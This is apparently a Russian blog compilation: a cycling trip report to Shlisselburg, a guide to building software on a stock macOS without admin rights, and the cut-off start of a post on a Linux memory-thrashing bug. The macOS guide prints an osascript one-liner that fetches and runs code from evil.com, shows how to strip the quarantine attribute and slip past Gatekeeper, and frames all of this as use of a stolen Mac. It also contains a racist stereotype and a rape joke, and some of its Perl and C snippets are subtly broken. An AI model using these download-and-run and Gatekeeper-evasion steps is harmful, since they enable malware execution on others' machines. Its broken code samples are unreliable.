Тропами Сусанина
2 поста
2 поста
7 постов
2 поста
2 поста
8 постов
В прошлом году я откровенно угорел по велопокатушкам, докатившись на своем железном коне до нескольких интересных мест Ленинградской области. Рассказываю как это было.
На заднем плане Ладожское озеро. Чуть ближе - Новоладожский канал. А автор приехал из Питера да.
Текст ниже написан человеком, который катает не один десяток лет, досконально знает своего железного коня, умеет его чинить в полевых условиях и сам при этом имеет конское здоровье.
Я умею кататься, умею падать, бить #бало, имею неслабую выносливость и реакцию, умею ориентироваться в лесу и так далее по списку. Другими словами:
дедушке можно такое творить, дедушка старый.
Если у вас нет серьезной подготовки, беды с башкой слабое здоровье — честно и откровенно предупреждаю: не надо пытаться такое повторять. Целее будете.
Как-то так выглядел маршрут:
7 процентов оставшегося заряда - причина по которой был сохранен не весь трек, в реальности было еще +10км до дома.
Конечной целью этой эпической покатушки был выбран город Шлиссельбург, о котором я разумеется ничего не знал, поэтому углубился в Википедию:
Город был основан новгородским князем Юрием Даниловичем в 1323 году, заложившим на острове Ореховый (здесь росло много лещины — лесного ореха) деревянную крепость. В 1613 году крепость была захвачена шведами и русское название Орешек трансформировалось в Нётеборг (швед. nöt — «орех», borg — «крепость»).
..
В 1702 году была освобождена русскими войсками и тогда же переименована в Шлиссельбург, буквально — «ключ-крепость» (нем. Schlüssel — «ключ», Burg — «крепость»); употреблялось и более близкое к немецкому Шлюссельбург, откуда народное название Шлюшин.
Ну разве можно было пропустить портовый городок со столь поэтическим названием?
Подруга сказала «катись к своим бл#дям», ну я и покатил.
Именно через этот мост я чаще всего выезжаю для покатушек в сторону Юго-Запада, поскольку его пешеходная часть обычно слабо загружена — несмотря на свою красоту, мост находится вдали от туристических троп.
Большео́хтинский мост (с 1909 по 1930-е — мост Императора Петра Великого) — автодорожный металлический разводной мост через реку Неву в Санкт-Петербурге. Первый из петербургских мостов через Неву с ездой понизу (проезжая часть расположена на уровне низа пролётного строения) и разводным пролётом в середине реки.
Дальше я обычно двигаюсь по правой стороне Невы и если не углубляюсь в центр — проезжаю мимо следующего моста:
Мост Алекса́ндра Не́вского — автодорожный железобетонный разводной мост через Неву в Санкт-Петербурге.
Мост огромный, но к сожалению с неудобными выездами и плотно забитый самокатчиками, давно организовавшими свою проезжую часть по пешеходной зоне.
Так что этот мост я все же стараюсь объезжать.
Следующей знаковой достопримечательностью, которую нельзя не заметить по пути следования является Александро-Невская лавра:
Свя́то-Тро́ицкая Алекса́ндро-Не́вская ла́вра — мужской православный монастырь на восточной оконечности Невского проспекта в Санкт-Петербурге. Первый и наиболее крупный монастырь города. С 1797 года имеет статус лавры.
Разумеется про такое место странно и глупо писать вот так «мельком», но я все же пишу про велопутешествие, а не провожу исторические изыскания.
Буквально за углом этой лавры, встречается первое упоминание Шлиссельбурга:
Шлиссельбу́ргский мост — автодорожный железобетонный арочный мост через Обводный канал в Центральном/Невском районе[1] Санкт-Петербурга, соединяет Монастырский остров и левый берег Обводного канала.
На карте:
После проезда моста, с левой стороны начинается довольно большой бульвар Стеклянного Городка:
В 1770-х годах по приказу графа Г. А. Потёмкина, которому были пожалованы земли у Глухого озера, известные как имение Озерки, были выстроены стекольный и зеркальный заводы. В 1791 году, после смерти графа, заводы были выкуплены в казну[2] , и на их базе был создан Императорский стеклянный завод.
По этому бульвару я добираюсь до следующего эпического памятника архитектуры, который также невозможно не заметить.
У этого храма очень нетривиальное название и история:
Храм получил свое название в честь иконы Божией Матери «Всех Скорбящих Радости» с грошиками — чтимого списка, хранившегося в Тихвинской часовне[2] на территории Стеклянного городка Императорского стеклянного завода[3]. 23 июля 1888 года (по старому стилю) во время грозы в часовню ударила молния, и в ней начался пожар. Во время него из ящика для подаяний высыпались медные монеты, на которые упала икона. Огонь обошёл икону, но 12 монет пристали к ней (одна из которых впоследствии отпала), после чего образ получил своё именование — «с грошиками» — и приобрёл славу чудотворного после связанных с ним двух чудесных исцелений.
Не знаю насчет чудотворности, но кафешка на набережной готовит отличный кофе и имеет красивейший вид на Неву.
Проехав церковь, качу дальше своего железного коня по проспекту Обуховской обороны, которая внезапно является одной из самых длинных улиц в Питере. И добираюсь до (не поверите) ..следующего моста.
Главная фишка этого моста — отдельная эстакада для трамваев, красиво уходящая в право:
Волода́рский мост — разводной мост через Неву в Санкт-Петербурге. Соединяет Народную и Ивановскую улицы (Невский район)[1]. Часть Центральной дуговой магистрали. Единственный в городе мост с эстакадой для съезда трамваев (левый берег).
Дальше мой путь пролегал по все тому же проспекту Обуховской обороны, до следующего моста.
Мост действительно циклопического размаха:
Большо́й Обу́ховский мост — вантовый неразводной мост через Неву. Расположен на границе Невского района Санкт-Петербурга и Всеволожского района Ленинградской области, в среднем течении Невы; соединяет проспект Обуховской Обороны и Октябрьскую набережную. Один из самых длинных мостов России.
Первый неразводной мост через Неву, самый большой мост в Санкт-Петербурге по величине перекрываемого пролёта (382 м), а также крупнейший мост через Неву.
Единственный мост через Неву, по которому я не решился ехать на велосипеде.
Проехав под ним (на самом деле — под целой дорожной развязкой), перекатился на Рыбацкий проспект, по которому добрался до.. следующего моста.
Несмотря на небольшие размеры, у Рыбацкого моста оказалась весьма непростая история:
Мост в устье Славянки показан на карте 1817 года[5]. Мост был деревянным многопролётным и неоднократно ремонтировался. В годы блокады он был разобран. В 1957 году по проекту инженера «Ленгипродортранса» Н. К. Пенионжкевича построен существующий пятипролётный мост[1].
К 2000 году мост полностью исчерпал свой ресурс и в январе того же года был закрыт для движения автотранспорта, но фактически продолжал использоваться как пешеходный.
Перестройка моста выполнена в 2022—2023 годах[7] группой компаний «Возрождение». Мост был открыт для движения автотранспорта в конце октября 2023 года[8].
Ни о чем таком я разумеется не знал, когда бодро катил по нему летним днем в сторону Шлиссельбурга.
Наконец я попадаю на Петрозаводское шоссе, это уже самая граница города и за болотом начинается Ленинградская область. По Петрозаводскому шоссе проезжаю вольницу гопников с поэтическим названием «Металлострой», затем поселения (фактически одну сплошную застройку) «Понтонный» и «Саперный».
Что характерно все эти места имеют артефакты дореволюционных времен, видел очень старые здания, как жилые так и заброшенные.
Петрозаводское шоссе плавно перетекает в Ленинградское (не меняя направления), а я плавно перекатываюсь до Отрадного.
Отрадное это уже город, въезд в который запомнился настоящей судостроительной верфью под открытым небом!
Если хотите увидеть как строят корабли — вам сюда:
Еще Отрадное запомнилось очень длинной, современной и полностью благоустроенной набережной, по которой я ехал наверное полчаса, а она все не заканчивалась. Очень красивое место.
Дальше я добрался до очень узкого и потому крайне опасного тоннеля под железнодорожными путями, ведущими к еще одному мосту:
Кузьми́нский мост — однопутный железнодорожный разводной мост через Неву вертикально-подъёмного типа. По этому мосту проходит один путь двухпутной железнодорожной линии от Санкт-Петербурга (Ладожский вокзал) на Горы.
С этим мостом у меня есть своя история, как раз до него я доезжал с другой стороны Невы, когда хотел доехать до Шлиссельбурга в первый раз — «не зная броду».
Так он выглядит с другой стороны Невы:
Дальше я проехал ничем не примечательное Павлово и добрался вот до очередного ничем не примечательного моста. Мост как мост, но вот речка под ним..
В годы Великой Отечественной войны по Мге проходила линия фронта. На левом берегу и сегодня ещё видны обвалившиеся траншеи и блиндажи.
Место еще то, но по пути следования далеко не последнее.
Следующим важным историческим местом, через которое пролегал мой маршрут был Невский пятачок:
«Невский пятачок» — условное обозначение плацдарма на левом (восточном) берегу Невы напротив Невской Дубровки, который удерживался советскими войсками Ленинградского фронта (с 19 сентября 1941 по 29 апреля 1942 года и с 26 сентября 1942 по 17 февраля 1943 года) в ходе битвы за Ленинград
Место эпической битвы, переломившей ход битвы за Ленинград, про которое стоило рассказать отдельно, но я все же не историк-документалист. Поэтому просто еду дальше.
Петрозаводское шоссе плавно превращается в Набережную улицу, по которой я вкатываюсь в Кировск.
Цитируя педевикию:
Ки́ровск — город (с 1953 г.) в России, административный центр Кировского района и муниципального образования Кировское городское поселение Ленинградской области. Основан в 1931 году как посёлок строителей ГРЭС.
Кировск запомнился близостью жилой застройки к воде, фактически жилые дома (причем высотные) стоят через дорогу от Невы. Виды из окон там наверное потрясающие.
Следующее знаковое место по дороге в Шлиссельбург:
Мост соединяет невские берега в том месте, где в январе 1943 года была уникальная дерево-ледовая переправа для танков Т-34[7].
В левобережном устое моста находится открытый в 1983 году музей-диорама «Прорыв блокады Ленинграда». Рядом с мостом установлен памятник — танк Т-34. Мост, диорама и памятник являются частью мемориального комплекса «Прорыв».
Фото на память:
Мост действительно огромный и находится на высокой эстакаде:
По Красному тракту, мимо огромных цехов Ладожского транспортного завода, подъезжаю наконец к финальной точке своего маршрута.
Встречает меня сооружение времен Петра I:
Двукамерный Шлюз, соединяющий Неву с Малоневским каналом, фактически разделяющим Шлиссельбург на две части.
Вот он на еще советской карте:
Поскольку Шлиссельбург — очень маленький городок, я быстро проехал этот самый Малоневский канал, добравшись до начала Староладожского. Повернул направо и буквально через сто метров город внезапно кончился.
Пришлось возвращаться и переплывать перейти Малоневский, так я наконец добрался до центра города.
Памятник Петру I в центре Шлиссельбурга и мой железный конь.
Памятник расположен у пристани Шлиссельбурга, куда доставляют подгулявших туристов с Питера.
Туристы с интересом рассматривали меня и мой велик, разумеется не догадываясь откуда именно я тут взялся.
Катаясь из Питера на пароме, сложно представить что этот маршрут кто-то может осилить на своих двоих.
Затем я поехал к Ладожскому озеру:
На переднем плане Новоладожский канал, за ним небольшая полоска земли и затем уже Ладожское озеро.
Слева от этого места, на озере расположена еще одна достопримечательность большой исторической ценности:
Крепость Оре́шек — древняя русская крепость на Ореховом острове в истоке реки Невы, напротив города Шлиссельбурга в Ленинградской области. Основана в 1323 году новгородцами, с 1612 по 1702 год принадлежала Швеции.
Добираться туда я не стал из-за толп туристов, решив оставить посещение на следующий заход, когда буду пешком.
Вид на одну из башен крепости:
Ниже будет еще несколько интересных фото "на память", поскольку доберусь до этих мест я теперь еще не скоро.
В обычном парке посреди города внезапно обнаружилась экспозиция из пушек и зениток. Оказалось что это музей, причем довольно новый, называется «Эхо великих сражений в Шлиссельбурге»:
Музей под открытым небом, в котором представлены корабельные орудия времен Великой Отечественной и послевоенных лет, появился в Шлиссельбурге в 2005 году. Все орудия со складов Министерства Обороны отреставрированы на Невском Судостроительно-судоремонтном заводе в Шлиссельбурге.
Памятное фото:
Разумеется в русском городе со столь богатой историей не может не быть православного храма:
Благове́щенский собо́р — главный православный храм города Шлиссельбурга. Построен в стиле барокко, прототипом ему послужил Петропавловский собор в Санкт-Петербурге. Центральный храм комплекса, состоящего из трёх церквей.
Выглядит в живую гораздо лучше чем на фото:
Доехать до Шлиссельбурга было только частью задачи, вторая часть — живым вернуться обратно, причем до наступления темноты.
Езда на веле по обочине дорог в Ленобласти — само по себе удовольствие еще то, делать это в сумерках — прямой путь на больничную койку или сразу в морг.
Поскольку типичный вид транспорта в Ленинградской области это здоровенная фура, летящая на всех парах. И все что меньше самолета находится у водителя в слепой зоне:
Поэтому повторюсь:
дедушка старый, ему можно.
Остальным катать по обочине скоростных дорог точно не стоит, тем более регулярно.
Поскольку заранее маршрут я не изучал — возвращался назад по своим следам той же дорогой, по которой приехал:
На центральной площади Кировска все также стоит Ильич:
Добрался домой я едва живым, все же 150км езды за один день это очень много.
Рассказываю и показываю, что можно сотворить с компьютером Apple без прав администратора и стандартных средств разработки. Написано специально для подрыва пердаков маководам, так что запасайтесь попкорном.
Невозможный скриншот, по мнению официальной техподдержки и обычных разработчиков под продукцию Apple.
Apple не очень любит внимание к внутренностям своих продуктов и мягко говоря не поощряет какие-либо изыскания в них, по поводу и без. Несмотря на то что уже была попытка раскрытия исходного кода ядра (довольно быстро остановленная), «userland» — пользовательское окружение всегда был и остается закрытым.
Книг и материалов по внутреннему устройству как «большой» MacOS так и мобильной iOS откровенно мало, а изложенная там информация сильно напоминает передачу «Поле чудес» реалии Microsoft Windows времен 90х:
недокументированные функции, непонятные сервисы, домыслы, мнения и догадки.
Разве что колдовства и магических ритуалов пока нет.
Поэтому изложенный материал потребовал многих лет практики и изучения MacOS, описанное в статье не «гуглится» поисковиками, не подсказывается нейросетью и вообще мало афишируется широкой публике.
Ниже я покажу несколько интересных трюков связанных с разработкой ПО на абсолютно чистой пользовательской MacOS, без какого-либо установленного дополнительного инструментария и без прав администратора.
Последнее очень важно, поскольку права администратора нужны в MacOS практически для всего более-менее интересного:
изменения настроек ОС, установки нового ПО, доступа к некоторым каталогам и даже определенным действиям вроде записи экрана.
Представьте что вы — огромный негр с золотой цепью из Бруклина и только что отжали новенький Mac у какого‑то ботана. Доступ на рабочий стол есть (он автоматический), но пароля администратора вы не знаете. Однако прежде чем толкать паль ближайшему скупщику ради денег на крэк, вы вдруг решили заняться разработкой ПО под MacOS.
С кем не бывает.
Главное не забудьте потом записать трек про вашу нелегкую жизнь и «вкатывание в ИТ» столь необычным способом.
(PR‑менеджер просил кейс использования для материала — я предоставил)
Ради этой статьи была развернута чистая копия последней «MacOS Sonoma» в виртуальной машине, с абсолютно стандартным набором пользовательского ПО. Именно такую систему вы получите при покупке свежего Mac в официальном магазине Apple в NY.
Для начала кратко пройдусь по возможностям MacOS и тому что в ней есть «из коробки». Начнем с двух самых важных для разработчика приложений: консольного терминала и текстового редактора.
Запускаются они с помощью Launchpad, путем ввода названий в строку поиска. Для запуска терминала вводите terminal, для текстового редактора edit.
Вот так выглядит запущенный терминал:
И редактор (c переключением вида на обычный текст):
MacOS это самый настоящий Unix, в котором есть практически все стандартные консольные утилиты: bash, grep, ps, top, pwd, uname и так далее — отличия от какой-нибудь современной Ubuntu минимальны, если не начать углубляться в детали.
Но к сожалению в чистой MacOS практически полностью отсутствуют средства разработки и вместо настоящих приложений установлены заглушки, попытка вызова которых выдает стандартный диалог:
К счастью даже в установке MacOS по-умолчанию присутствуют два серьезных интерпретатора скриптовых языков: Perl и Tcl. И кое-что еще, куда более мощное.
Оочень мощная штука, страшное оружие в умелых руках и доступная в любой MacOS практически с первых версий.
Разумеется это старая добрая 5я версия (да это шутка для посвященных):
Встроенный в MacOS Perl не совсем обычный — в нем сразу установлены модули Foundation и PerlObjCBridge, которые позволяют взаимодействовать с нативными приложениями на Objective‑C и API самой MacOS из скриптов на Perl.
Напоминаю, если кто-то из читателей не в курсе:
приложения на Objective-C взаимодействуют через специальные сообщения — события.
Поэтому благодаря этим модулям у вас появляется возможность влезть на этот праздник жизни из скриптов на Perl.
Для примера работа с нативными строками:
#!/usr/bin/perl
use Foundation;
$s1 = NSString->stringWithCString_("Hello ");
$s2 = NSString->alloc()->initWithCString_("World");
$s3 = $s1->stringByAppendingString_($s2);
printf "%s\n", $s3->cStri>cString();
А вот так выглядит получение имени хоста:
#!/usr/bin/perl
use Foundation;
$hostName = NSProcessInfo->processInfo()->hostName();
printf "%s\n", $hostName->cString();
К сожалению в этой версии нет поддержки работы с интерфейсом:
This version of PerlObjCBridge does not directly support writing GUI Cocoa applications in Perl.
Зато все остальное работает на ура, например вот такой классический HTTP-сервер:
#!/usr/bin/perl
use strict;
use warnings;
use CGI qw/ :standard /;
use Data::Dumper;
use HTTP::Daemon;
use HTTP::Response;
use HTTP::Status;
use POSIX qw/ WNOHANG /;
use constant HOSTNAME => qx{hostname};
my %O = (
'listen-host' => '127.0.0.1',
'listen-port' => 8080,
'listen-clients' => 30,
'listen-max-req-per-child' => 100,
);
my $d = HTTP::Daemon->new(
LocalAddr => $O{'listen-host'},
LocalPort => $O{'listen-port'},
Reuse => 1,
) or die "Can't start http listener at $O{'listen-host'}:$O{'listen-port'}";
print "Started HTTP listener at " . $d->url . "\n";
my %chld;
if ($O{'listen-clients'}) {
$SIG{CHLD} = sub {
# checkout finished children
while ((my $kid = waitpid(-1, WNOHANG)) > 0) {
delete $chld{$kid};
}
};
}
while (1) {
if ($O{'listen-clients'}) {
# prefork all at once
for (scalar(keys %chld) .. $O{'listen-clients'} - 1 ) {
my $pid = fork;
if (!defined $pid) { # error
die "Can't fork for http child $_: $!";
}
if ($pid) { # parent
$chld{$pid} = 1;
}
else { # child
$_ = 'DEFAULT' for @SIG{qw/ INT TERM CHLD /};
http_child($d);
exit;
}
}
sleep 1;
}
else {
http_child($d);
}
}
sub http_child {
my $d = shift;
my $i;
my $css = <<CSS;
form { display: inline; }
CSS
while (++$i < $O{'listen-max-req-per-child'}) {
my $c = $d->accept or last;
my $r = $c->get_request(1) or last;
$c->autoflush(1);
print sprintf("[%s] %s %s\n", $c->peerhost, $r->method, $r->uri->as_string);
my %FORM = $r->uri->query_form();
if ($r->uri->path eq '/') {
_http_response($c, { content_type => 'text/html' },
start_html(
-title => HOSTNAME,
-encoding => 'utf-8',
-style => { -code => $css },
),
p('Here are all input parameters:'),
pre(Data::Dumper->Dump([\%FORM],['FORM'])),
(map { p(a({ href => $_->[0] }, $_->[1])) }
['/', 'Home'],
['/ping', 'Ping the simple text/plain content'],
['/error', 'Sample error page'],
['/other', 'Sample not found page'],
),
end_html(),
)
}
elsif ($r->uri->path eq '/ping') {
_http_response($c, { content_type => 'text/plain' }, 1);
}
elsif ($r->uri->path eq '/error') {
my $error = 'AAAAAAAAA! My server error!';
_http_error($c, RC_INTERNAL_SERVER_ERROR, $error);
die $error;
}
else {
_http_error($c, RC_NOT_FOUND);
}
$c->close();
undef $c;
}
}
sub _http_error {
my ($c, $code, $msg) = @_;
$c->send_error($code, $msg);
}
sub _http_response {
my $c = shift;
my $options = shift;
$c->send_response(
HTTP::Response->new(
RC_OK,
undef,
[
'Content-Type' => $options->{content_type},
'Cache-Control' => 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0',
'Pragma' => 'no-cache',
'Expires' => 'Thu, 01 Dec 1994 16:00:00 GMT',
],
join("\n", @_),
)
);
}
Совершенно спокойно работает на девственно чистой MacOS, без каких-либо дополнительных библиотек и установленных средств разработки:
Даже этой столь простой версии хватит чтобы создавать простейшие веб-приложения и воровать данные.
Дедушка и бабушка современных скриптовых языков, ненавидимый лично Столлманом про который я успел написать отдельную статью.
Из интересного для пролетариев от разработки, не владеющих этим замечательным языком, отмечу, что в MacOS оно позволяет «из коробки» работать с интерфейсом — рисовать диалоги, кнопки, списки и так далее без установленных средств разработки, без каких‑либо внешних библиотек, SDK или компиляторов.
Вот так для примера выглядит простейший калькулятор:
Разумеется будут работать и все остальные возможности этого языка: работа с сетью, файлами, юникодом и всем прочим интересным. Но это цветочки, по сравнению с главной имбой для творения всякого необычного и нехорошего.
Начну с цитаты:
AppleScript — язык сценариев, созданный Apple и встроенный в macOS, используемой на компьютерах корпорации начиная с System 7.
И пусть вас не смущают слова «сценарий» и «команды выполнения», это на самом деле страшная штука в умелых руках.
Посмотрите на такой пример:
osascript -l JavaScript -i eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('https://evil.com/evil')),$.NSUTF8StringEncoding )) );
Тут на самом деле очень много интересного, для знающих и владеющих:
в одной строке происходит скачивание и немедленное выполнение командного кода с синтаксисом Javascript.
osascript — командный интерпретатор для сценариев AppleScript, ключ -l указание на синтаксис Javascript, -i это interactive mode, однострочный скрипт. А NSString, NSData и NSURL — уже системные классы.
Вот так можно отправить стандартное оповещение из скрипта:
osascript -e 'display notification "" with title "test"'
Обратите внимание на синтаксис — это стандартный синтаксис AppleScript.
Результат выполнения выглядит вот так:
Но на самом деле все описанное — мелочи, специфичные инструменты, работать с которыми без внешних библиотек вообщем-то сложно а главное неприятно. Поэтому мы переходим наконец к «большой разработке» и современному инструментарию.
Но прежде решим проблему с одной заразой, мешающей спокойной жизни и работе честных людей, на ворованном маке и без прав администратора.
В последних версиях MacOS добавили хтоническую дичь под названием Gatekeeper:
macOS includes a technology called Gatekeeper, that's designed to ensure that only trusted software runs on your Mac.
The safest place to get apps for your Mac is the App Store. Apple reviews each app in the App Store before it’s accepted and signs it to ensure that it hasn’t been tampered with or altered. If there’s ever a problem with an app, Apple can quickly remove it from the store.
Как только вы попробуете скачать бинарник, скрипт или архив из интернета и запустить — увидите вот такое страшное предупреждение:
Работает оно через специальный атрибут, устанавливаемый на каждый скачанный файл:
К счастью данный атрибут легко и просто снимается командой:
xattr -d com.apple.quarantine ./ld64.lld
После чего бинарник совершенно спокойно запускается без каких-либо ограничений:
Имейте ввиду что атрибут карантина ставится автоматически на все файлы внутри архива при распаковке если не был снят с самого архива. Поэтому необходимо снимать атрибут карантина с архива до его распаковки, а именно архивы мы и будем использовать далее, поскольку для нормальной установки ПО нужны права администратора.
Также здесь и далее я буду использовать архитектуру x86_64, как самую распространенную. Но даже если у вас совсем новый мак на M1 — все равно обязательно будет поддержка x86_64 и бинарники под эту архитектуру будут запускаться.
Открываете стандартный браузер Safari и скачиваете с официального сайта готовую бинарную сборку, версию в архиве (не инсталлятор), прямая ссылка для скачивания тут.
Safari считает себя умнее типичного пользователя Mac (и не без оснований), поэтому частично распакует архив самостоятельно — после скачивания и вместо файла .tar.gz у вас будет просто.tar.
Снимаем атрибут карантина и распаковываем:
xattr -d com.apple.quarantine ~/Downloads/node-v20.11.1-darwin-x64.tar
tar xvf ~/Downloads/node-v20.11.1-darwin-x64.tar
Запускаем bash и добавляем каталог с Node.js в переменную PATH:
export PATH=~/work/node-v20.11.1-darwin-x64/bin:$PATH
Проверяем что node доступна из окружения:
node -v
Команда выше должна успешно выполниться и отобразить версию установленной Node.js.
Также вместе с Node.js должен быть и пакетный менеджер NPM:
npm -v
Этого уже хватит для разработки какого-то простого приложения на Node.js, так что переходим к более серьезным вещам.
Вот про эту штуку вы точно не знали:
Based on a simple multi-version dependencies manager (built on top of npm), the xPack project aims to provide a set of cross-platform tools to manage, configure and build complex, modular, multi-target (multi-architecture, multi-board, multi-toolchain) projects, in a reproducible way, with an emphasis on C/C++ and bare-metal embedded projects.
Сие порождение сумрачного гения — пакетный менеджер, работающий поверх npm для нативных библиотек и инструментов разработки.
С помощью этой чудесной утилиты можно скачать и установить всю необходимую среду для нативной разработки на C/C++ под Mac — без всяких XCode и прочей хтони.
Устанавливаем:
npm install --global xpm@latest
Создаем тестовое окружение:
mkdir testproj
cd testproj
xpm init
В результате появится новый пустой проект с файлом package.json внутри, в который будут добавляться зависимости.
Нативные зависимости.
Честно говоря не думал что доживу до дня, когда clang, cmake и gcc будут устанавливаться в виде пакетов NPM, но пришлось (проклятый здоровый образ жизни да):
Ставим:
xpm install @XpaCK-dev-tools/clang@latest --verbose
После выполнения появится каталог xpacks, внутри которого будет каталог .bin с всеми стандартными бинарниками, необходимыми для компиляции:
Добавляем его в переменную окружения PATH:
export PATH=./xpacks/.bin:$PATH
Теперь наконец можно вызвать компилятор вместо заглушки, требующей в ультимативной форме установить XCode:
Но к сожалению одного только компилятора недостаточно для сборки чего-то работающего, нужны заголовочные файлы для стандартных функций вроде ввода-вывода.
Разумеется
для нормальных людейони тоже поставляются вместе с XCode и в чистой MacOS отсутствуют начисто, в отличие от большинства линуксов или *BSD систем.
К счастью выход есть в виде (только не смейтесь) пиратских выкладок MacOS SDK на Github (!)
Чего только на свете не бывает, ей богу.
Я использовал для этой статьи версию заголовочных файлов взятую вот отсюда, но разумеется подобные репозитории регулярно зачищают. А широкие программисткие массы выкладывают по‑новой, поскольку это нужная вещь для автоматических сборок под MacOS, без приключений с кросс компиляцией и скачивания ~14Гб пакета XCode.
Ищутся такие репозитории очень простым запросом в поисковиках:
github macos sdk
Скачиваем архив, снимаем атрибут карантина и распаковываем:
xattr -d com.apple.quarantine ~/Downloads/MacOSX13.3.tar.xz
tar xvzf ~/Downloads/MacOSX13.3.tar.xz
На архиве в формате .xz у Safari заканчивается весь его интеллект, поэтому никакой автоматической распаковки не будет и архив останется как есть.
Открываем текстовый редактор (TextEdit), вводим вот такой простейший код на C:
#include <stdio.h>
int main()
{
prinltlf("Йо-хо-хо и прощай XCode!\n");
return 0;
}
Cохраняем файл как hello.c в каталог ~/work/testproj.
Компилируем:
clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld -o hello
Обратите внимание на флаг -fuse-ld=lld — это указание на использование линковщика поставляемого с компилятором clang вместо системного ld, который находится в библиотеке binutils, которая (сюрприз) ставится только вместе с XCode.
Установка специальной переменной __i386__ также необходима, поскольку она используется в макросах заголовочных файлов, без ее указания сборка завершится с ошибками.
Запускаем собранный бинарник:
./hello
Убеждаемся что работает:
Прежде чем у меня все получилось, несколько раз попадал на сборки clang с неправильной версией линковщика — для другой архитектуры.
Чтобы обойти эту проблему, можно скачать готовый линковщик специально для x86_64 архитектуры из этого репозитория, снять атрибут карантина, распаковать и использовать при сборке:
clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld --ld-path=~/Downloads/ld64.lld -o hello
Обратите внимание что ключ -fuse-ld=lld не может содержать полный путь, поэтому для его задания нужно использовать отдельный ключ:
--ld-path=~/Downloads/ld64.lld
На сладкое еще несколько инструментов для разработки.
Куда же без нее. Разумеется официальную версию поставить не выйдет, поскольку она также поставляется в виде бинарного пакета, требующего установки в систему и прав администратора.
Зато есть OpenJDK и готовые бинарные сборки для MacOS:
curl https://download.java.net/java/GA/jdk21.0.2/f2283984656d49d6... --output jdk.tar.gz
Я же не забыл рассказать что в MacOS по-умолчанию есть утилита curl? Тогда добавлю еще один интересный факт:
скачанные с помощью системного curl файлы не имеют атрибут карантина:
Поэтому распаковываем и спокойно запускаем, пока Gatekeeper не видит:
tar xvzf ~/jdk.tar.gz ./jdk-21.0.2.jdk/Contents/Home/bin/java --version
Должна отобразиться версия сборки:
И дальше спокойно работаем с любыми Java-приложениями, без ограничений.
Нормальный Git в MacOS также поставляется вместе с XCode, его нехватка для нормальной работы очень быстро станет очевидной и начнет мешать жить приличным джентельменам.
К счастью все же есть временное решение в виде реализации клиента Git на.. Javascript.
Называется эта штука isomorphic‑git, работает как в браузере так и в Node.js и несмотря на всю свою технологическую «еретичность» — позволяет вполне сносно работать, хотя‑бы для простейших задач скачивания проекта.
Устанавливается разумеется с помощью npm:
npm i -g isomorphic-git
Пример использования:
isogit clone --url=https://github.com/isomorphic-git/isomorphic-git --depth=1 --singleBranch
Как видите вместо старого доброго git тут используется скрипт isogit, с совпадающими аргументами.
Данная статья написана исключительно в исследовательских целях, не надо пожалуйста воровать чужие маки и насиловать их владельцев (даже если им это нравится).
Автор всего лишь хотел рассказать широкой аудитории, что под капотом их любимого гламурного серебристого девайса с яблоком скрывается очень сложная и навороченная Unix‑система, которая легко и просто может быть использована для разных интересных дел, например для организации CI-сервера.
P.S.
Статья была опубликована на Хабре, оригинал доступен в нашем блоге.
Если вам неудержимо хочется использовать оборудование из музея для современной разработки — статья специально для вас.
Машины должны служить а не требовать ресурсы. И автор патча l9 об этом знает.
Сейчас наверное некоторые читатели сильно удивятся:
с 2007 года в ядре Linux живет серьезный баг, приводящий к полному зависанию системы при работе под большой нагрузкой на память.
На дворе на момент написания статьи май 2025 года, так что баг успел отпраздновать совершеннолетие и открыть первую бутылку пива.
Оригинальный репорт выглядит так:
Разумеется разработчики ядра в курсе проблемы, но по ряду причин.. не считают этот баг важным.
Да, вы правильно прочитали:
«полное зависание системы под нагрузкой» и «разработчики не считают важным исправлять» — как вам такие реалии Linux?
Более того, недавно тикет с описанием этого бага вообще закрыли с эпической формулировкой «just become obsolete»:
С легким намеком, что некоторым стоит перестать собирать себе компьютеры по помойкам:
but now I don't bother with less than 32Gb of RAM for a desktop.
Теперь прокрутите обсуждение бага в трекере вниз и посмотрите на последнее сообщение о проблеме:
Оно конечно все замечательно и у самого автора этой статьи давно 64Гб на одной из рабочих машин, а некоторые коллеги успели впихнуть даже 128Гб, причем в ноутбук — чтобы мы наконец увидели SUSE Linux, которая не тормозит.
Но к сожалению одними любителями компьютерного антиквариата данная проблема не ограничивается — на нынешние облачные времена типичное рабочее окружение Linux это виртуальная машина, с ограниченным обьемом памяти. Скорее всего даже ваш корпоративный сайт крутится на виртуальной машине с 4Гб памяти.
Так что на самом деле проблема касается практически всех пользователей Linux, а не только идейных нищебродов энтузиастов, собирающих себе оборудование по музеям.
Если вы хоть немного понимаете в компьютерах, прочитав абзац выше и сопоставив масштаб проблемы и отношение к ней разработчиков Linux, думаю уже сделали определенные выводы:
либо команда разработки ядра Linux — поголовно некомпетентны, либо
у автора контракт с рептилоидамив описании выше был упущен ряд важных нюансов.
Правда как обычно где‑то между — «особенных» среди современных разработчиков Linux действительно хватает, но ряд нюансов я все же намеренно упустил.
Опишу в какой момент проявляется этот баг:
надо долго и упорно увеличивать нагрузку на использование памяти, причем маленькими порциями и обязательно из нескольких разных процессов — чтобы OOM Killer не успел отработать.
На практике надо либо заниматься тренировкой нейросетей, либо непрерывно гонять тяжелые приложения на Java/Node (в первую очередь IDE) и постоянно запускать сборку больших проектов.
И все это на неподготовленном офисном оборудовании с 4-6 Гб памяти, представляющем историческую ценность, либо в виртуальной машине.
Уже давно существует неофициальный патч, решающий описанную проблему с зависанием квадратно-гнездовым радикальным способом:
The kernel does not provide a way to protect the working set under memory pressure. A certain amount of anonymous and clean file pages is required by the userspace for normal operation. First of all, the userspace needs a cache of shared libraries and executable binaries. If the amount of the clean file pages falls below a certain level, then thrashing and even livelock can take place.
По сути этим патчем формируется небольшой объем памяти (тот самый working set), которую запрещается перегружать даже самым хитрым приложениям, откусывающим память по килобайтам.
Разумеется патч заметили и тут находится архив эпической переписки в рассылке Linux Kernel длиною в год, где автор патча пытается объяснить окружающим что он не верблюд и проблема действительно есть.
Однако патч в мейнстрим так и не попал, что наводит на определенные нехорошие мысли.
Помимо основной версии ядра т. н. «vanilla», исходники которого выкладываются на широко известном kernel.org, существуют «васянские сборки» — наборы патчей ядра, собранные энтузиастами под конкретную задачу.
